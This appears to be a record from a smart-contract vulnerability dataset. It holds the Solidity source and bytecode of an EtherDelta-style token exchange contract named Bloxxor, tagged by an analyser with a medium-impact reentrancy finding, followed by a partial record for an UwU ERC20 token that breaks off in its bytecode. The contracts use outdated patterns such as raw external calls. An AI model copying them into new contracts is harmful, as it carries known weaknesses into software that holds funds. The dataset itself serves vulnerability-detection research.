pragma solidity ^0.4.9; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() { minter = msg.sender; } function create(address account, uint amount) { if (msg.sender != minter) throw; balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) { if (msg.sender != minter) throw; if (balances[account] < amount) throw; balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract AccountLevels { //given a user, returns an account level //0 = regular user (pays take fee and make fee) //1 = market maker silver (pays take fee, no make fee, gets rebate) //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate) function accountLevel(address user) constant returns(uint) {} } contract AccountLevelsTest is AccountLevels { mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) { accountLevels[user] = level; } function accountLevel(address user) constant returns(uint) { return accountLevels[user]; } } contract Bloxxor is SafeMath { address public admin; //the admin address address public feeAccount; //the account that will receive fees address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function Bloxxor(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { //amount is in amountGet terms bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
0x6080604052600436106101535763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630a19b14a81146101655780630b927666146101b657806319774d43146101ea578063278b8c0e146102205780632e1a7d4d14610261578063338b5dea1461027957806346be96c31461029d578063508493bc146102e857806354d03b5c1461030f57806357786394146103275780635e1d7ae41461033c57806365e17c9d146103545780636c86888b1461038557806371ffcb16146103f3578063731c2f81146104145780638823a9c0146104295780638f283970146104415780639e281a9814610462578063bb5f462914610486578063c281309e146104aa578063d0e30db0146104bf578063e8f6bc2e146104c7578063f3412942146104e8578063f7888aec146104fd578063f851a44014610524578063fb6e155f14610539575b34801561015f57600080fd5b50600080fd5b34801561017157600080fd5b506101b4600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e43516610104356101243561014435610584565b005b3480156101c257600080fd5b506101b4600160a060020a03600435811690602435906044351660643560843560a435610828565b3480156101f657600080fd5b5061020e600160a060020a0360043516602435610954565b60408051918252519081900360200190f35b34801561022c57600080fd5b506101b4600160a060020a03600435811690602435906044351660643560843560a43560ff60c4351660e43561010435610971565b34801561026d57600080fd5b506101b4600435610b97565b34801561028557600080fd5b506101b4600160a060020a0360043516602435610caf565b3480156102a957600080fd5b5061020e600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435610e15565b3480156102f457600080fd5b5061020e600160a060020a0360043581169060243516610ee2565b34801561031b57600080fd5b506101b4600435610eff565b34801561033357600080fd5b5061020e610f2e565b34801561034857600080fd5b506101b4600435610f34565b34801561036057600080fd5b50610369610f6f565b60408051600160a060020a039092168252519081900360200190f35b34801561039157600080fd5b506103df600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43581169060ff60e43516906101043590610124359061014435906101643516610f7e565b604080519115158252519081900360200190f35b3480156103ff57600080fd5b506101b4600160a060020a0360043516610fe8565b34801561042057600080fd5b5061020e611032565b34801561043557600080fd5b506101b4600435611038565b34801561044d57600080fd5b506101b4600160a060020a0360043516611073565b34801561046e57600080fd5b506101b4600160a060020a03600435166024356110bd565b34801561049257600080fd5b506103df600160a060020a036004351660243561126d565b3480156104b657600080fd5b5061020e61128d565b6101b4611293565b3480156104d357600080fd5b506101b4600160a060020a0360043516611334565b3480156104f457600080fd5b5061036961137e565b34801561050957600080fd5b5061020e600160a060020a036004358116906024351661138d565b34801561053057600080fd5b506103696113b8565b34801561054557600080fd5b5061020e600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e4351661010435610124356113c7565b604080516c01000000000000000000000000600160a060020a0330811682028352808f1682026014840152602883018e90528c16026048820152605c81018a9052607c8101899052609c8101889052905160009160029160bc808301926020929190829003018186865af1158015610600573d6000803e3d6000fd5b5050506040513d602081101561061557600080fd5b5051600160a060020a038716600090815260076020908152604080832084845290915290205490915060ff16806106f55750604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101839052815190819003603c018120600080835260208381018086529290925260ff89168385015260608301889052608083018790529251600160a060020a038a169360019360a08082019493601f198101939281900390910191865af11580156106e0573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b80156107015750874311155b801561073b5750600160a060020a03861660009081526008602090815260408083208484529091529020548b9061073890846115ef565b11155b151561074657600080fd5b6107548c8c8c8c8a87611613565b600160a060020a038616600090815260086020908152604080832084845290915290205461078290836115ef565b600160a060020a03871660009081526008602090815260408083208584529091529020557f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e8d83028115156107d757fe5b60408051600160a060020a039687168152602081019590955292851684840152046060830152828a166080830152339290921660a082015290519081900360c00190a1505050505050505050505050565b604080516c01000000000000000000000000600160a060020a0330811682028352808a1682026014840152602883018990528716026048820152605c8101859052607c8101849052609c8101839052905160009160029160bc808301926020929190829003018186865af11580156108a4573d6000803e3d6000fd5b5050506040513d60208110156108b957600080fd5b5051600160a060020a033381166000818152600760209081526040808320868452825291829020805460ff1916600117905581518c851681529081018b905292891683820152606083018890526080830187905260a0830186905260c0830191909152519192507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e85919081900360e00190a150505050505050565b600860209081526000928352604080842090915290825290205481565b604080516c01000000000000000000000000600160a060020a0330811682028352808d1682026014840152602883018c90528a16026048820152605c8101889052607c8101879052609c8101869052905160009160029160bc808301926020929190829003018186865af11580156109ed573d6000803e3d6000fd5b5050506040513d6020811015610a0257600080fd5b5051600160a060020a033316600090815260076020908152604080832084845290915290205490915060ff1680610ae25750604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101839052815190819003603c018120600080835260208381018086529290925260ff88168385015260608301879052608083018690529251600160a060020a0333169360019360a08082019493601f198101939281900390910191865af1158015610acd573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b1515610aed57600080fd5b600160a060020a0333811660008181526008602090815260408083208684528252918290208d905581518e851681529081018d9052928b1683820152606083018a90526080830189905260a0830188905260c083019190915260ff861660e083015261010082018590526101208201849052517f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b0918190036101400190a150505050505050505050565b33600160a060020a031660009081526000805160206119408339815191526020526040902054811115610bc957600080fd5b33600160a060020a031660009081526000805160206119408339815191526020526040902054610bf990826118fd565b33600160a060020a031660008181526000805160206119408339815191526020526040808220939093559151909183919081818185875af1925050501515610c4057600080fd5b600160a060020a03331660008181526000805160206119408339815191526020908152604080832054815193845291830193909352818301849052606082015290517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a150565b600160a060020a0382161515610cc457600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0333811660048301523081166024830152604482018490529151918416916323b872dd916064808201926020929091908290030181600087803b158015610d3857600080fd5b505af1158015610d4c573d6000803e3d6000fd5b505050506040513d6020811015610d6257600080fd5b50511515610d6f57600080fd5b600160a060020a0380831660009081526006602090815260408083203390941683529290522054610da090826115ef565b600160a060020a038381166000818152600660209081526040808320339095168084529482529182902085905581519283528201929092528082018490526060810192909252517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a15050565b604080516c01000000000000000000000000600160a060020a0330811682028352808e1682026014840152602883018d90528b16026048820152605c8101899052607c8101889052609c81018790529051600091829160029160bc80820192602092909190829003018186865af1158015610e94573d6000803e3d6000fd5b5050506040513d6020811015610ea957600080fd5b5051600160a060020a038716600090815260086020908152604080832084845290915290205492509050509a9950505050505050505050565b600660209081526000928352604080842090915290825290205481565b60005433600160a060020a03908116911614610f1a57600080fd5b600354811115610f2957600080fd5b600355565b60035481565b60005433600160a060020a03908116911614610f4f57600080fd5b600554811080610f60575060045481115b15610f6a57600080fd5b600555565b600154600160a060020a031681565b600160a060020a03808d1660009081526006602090815260408083209385168352929052908120548311801590610fc6575082610fc38e8e8e8e8e8e8e8e8e8e6113c7565b10155b1515610fd457506000610fd8565b5060015b9c9b505050505050505050505050565b60005433600160a060020a0390811691161461100357600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055481565b60005433600160a060020a0390811691161461105357600080fd5b600454811180611064575060055481105b1561106e57600080fd5b600455565b60005433600160a060020a0390811691161461108e57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03821615156110d257600080fd5b600160a060020a038083166000908152600660209081526040808320339094168352929052205481111561110557600080fd5b600160a060020a038083166000908152600660209081526040808320339094168352929052205461113690826118fd565b600160a060020a038084166000818152600660209081526040808320339095168084529482528083209590955584517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810194909452602484018690529351919363a9059cbb936044808201949293918390030190829087803b1580156111c057600080fd5b505af11580156111d4573d6000803e3d6000fd5b505050506040513d60208110156111ea57600080fd5b505115156111f757600080fd5b600160a060020a03808316600081815260066020908152604080832033959095168084529482529182902054825193845290830193909352818101849052606082019290925290517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a15050565b600760209081526000928352604080842090915290825290205460ff1681565b60045481565b33600160a060020a0316600090815260008051602061194083398151915260205260409020546112c390346115ef565b33600160a060020a031660008181526000805160206119408339815191526020908152604080832085905580519283529082019290925234818301526060810192909252517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a1565b60005433600160a060020a0390811691161461134f57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600054600160a060020a031681565b604080516c01000000000000000000000000600160a060020a0330811682028352808e1682026014840152602883018d90528b16026048820152605c8101899052607c8101889052609c8101879052905160009182918291829160029160bc80820192602092909190829003018186865af115801561144a573d6000803e3d6000fd5b5050506040513d602081101561145f57600080fd5b5051600160a060020a038916600090815260076020908152604080832084845290915290205490935060ff168061153f5750604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101859052815190819003603c018120600080835260208381018086529290925260ff8b1683850152606083018a9052608083018990529251600160a060020a038c169360019360a08082019493601f198101939281900390910191865af115801561152a573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b801561154b5750894311155b151561155a57600093506115de565b600160a060020a0388166000908152600860209081526040808320868452909152902054611589908e906118fd565b600160a060020a03808e166000908152600660209081526040808320938d16835292905220549092508b906115be908f611911565b8115156115c757fe5b049050808210156115da578193506115de565b8093505b5050509a9950505050505050505050565b600082820161160c8482108015906116075750838210155b611930565b9392505050565b600080600080670de0b6b3a764000061162e86600354611911565b81151561163757fe5b049350670de0b6b3a764000061164f86600454611911565b81151561165857fe5b600254919004935060009250600160a060020a03161561174057600254604080517f1cbd0519000000000000000000000000000000000000000000000000000000008152600160a060020a03898116600483015291519190921691631cbd05199160248083019260209291908290030181600087803b1580156116da57600080fd5b505af11580156116ee573d6000803e3d6000fd5b505050506040513d602081101561170457600080fd5b50519050600181141561173357670de0b6b3a764000061172686600554611911565b81151561172f57fe5b0491505b8060021415611740578291505b600160a060020a03808b166000908152600660209081526040808320339094168352929052205461177a9061177587866115ef565b6118fd565b600160a060020a038b81166000908152600660209081526040808320338516845290915280822093909355908816815220546117c8906117c36117bd88866115ef565b876118fd565b6115ef565b600160a060020a038b811660009081526006602090815260408083208b851684529091528082209390935560015490911681522054611814906117c361180e87876115ef565b856118fd565b600160a060020a03808c166000908152600660208181526040808420600154861685528252808420959095558c84168352908152838220928a168252919091522054611874908a6118658a89611911565b81151561186e57fe5b046118fd565b600160a060020a0389811660009081526006602090815260408083208b851684529091528082209390935533909116815220546118c5908a6118b68a89611911565b8115156118bf57fe5b046115ef565b600160a060020a03988916600090815260066020908152604080832033909c1683529a90529890982097909755505050505050505050565b600061190b83831115611930565b50900390565b600082820261160c841580611607575083858381151561192d57fe5b04145b80151561193c57600080fd5b50560054cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8a165627a7a723058201dcdc7fe4a4926219e7148929dcbb5ba62e48ec84555f431e61193e36b05bffa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,969
0xa86755e8957619b6a849060625e93bce25ddee75
/** *Submitted for verification at Etherscan.io on 2020-09-01 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 5318008, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract UwU is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("UwU", "UwU", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 5318008); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffff